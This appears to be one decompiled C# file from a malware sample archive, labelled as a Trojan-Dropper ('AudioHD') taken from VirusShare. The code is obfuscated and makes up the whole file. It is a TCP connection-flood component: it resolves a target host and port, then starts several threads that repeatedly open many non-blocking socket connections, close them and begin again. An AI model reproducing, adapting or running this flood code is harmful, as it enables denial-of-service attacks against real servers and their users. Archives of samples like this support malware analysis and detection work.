MalwareSourceCode/MSIL/Trojan-Dropper/Win32/S/Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024/_0007/_0008.cs

131 lines
3.7 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: AudioHD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: A79492AA-5FAA-4ED2-ACC6-3D90AD665D99
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024.exe
using \u0007;
using System;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Threading;
namespace \u0007
{
internal sealed class \u0008
{
private static ThreadStart[] \u0001;
private static Thread[] \u0001;
public static string \u0001;
private static IPEndPoint \u0001;
public static ushort \u0001;
private static \u0008.\u0001[] \u0001;
public static int \u0001;
public static int \u0002;
public static bool \u0001 = false;
public static void \u000F()
{
try
{
\u0008.\u0001 = new IPEndPoint(Dns.GetHostEntry(\u0008.\u0001).AddressList[0], (int) \u0008.\u0001);
}
catch
{
\u0008.\u0001 = new IPEndPoint(IPAddress.Parse(\u0008.\u0001), (int) \u0008.\u0001);
}
\u0008.\u0001 = new Thread[\u0008.\u0002];
\u0008.\u0001 = new ThreadStart[\u0008.\u0002];
\u0008.\u0001 = new \u0008.\u0001[\u0008.\u0002];
for (int index = 0; index < \u0008.\u0002; ++index)
{
\u0008.\u0001[index] = new \u0008.\u0001(\u0008.\u0001, \u0008.\u0001);
\u0008.\u0001[index] = new ThreadStart(\u0008.\u0001[index].\u000F);
\u0008.\u0001[index] = new Thread(\u0008.\u0001[index]);
\u0008.\u0001[index].Start();
}
\u0008.\u0001 = true;
}
public static void \u0010()
{
for (int index = 0; index < \u0008.\u0002; ++index)
{
try
{
\u0008.\u0001[index].Abort();
\u0008.\u0001[index].Join();
}
catch
{
\u0008.\u0001 = false;
}
}
\u0008.\u0001 = false;
}
private sealed class \u0001
{
private IPEndPoint \u0001;
private Socket[] \u0001;
private int \u0001;
public \u0001([In] IPEndPoint obj0, [In] int obj1)
{
this.\u0001 = obj0;
this.\u0001 = obj1;
}
private void \u000F([In] IAsyncResult obj0)
{
}
public void \u000F()
{
label_0:
try
{
while (true)
{
this.\u0001 = new Socket[this.\u0001];
for (int index = 0; index < this.\u0001; ++index)
{
this.\u0001[index] = new Socket(this.\u0001.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
this.\u0001[index].Blocking = false;
AsyncCallback callback = new AsyncCallback(this.\u000F);
this.\u0001[index].BeginConnect((EndPoint) this.\u0001, callback, (object) this.\u0001[index]);
}
Thread.Sleep(100);
for (int index = 0; index < this.\u0001; ++index)
{
if (this.\u0001[index].Connected)
this.\u0001[index].Disconnect(false);
this.\u0001[index].Close();
this.\u0001[index] = (Socket) null;
}
this.\u0001 = (Socket[]) null;
}
}
catch
{
for (int index = 0; index < this.\u0001; ++index)
{
try
{
if (this.\u0001[index].Connected)
this.\u0001[index].Disconnect(false);
this.\u0001[index].Close();
this.\u0001[index] = (Socket) null;
}
catch
{
}
}
goto label_0;
}
}
}
}
}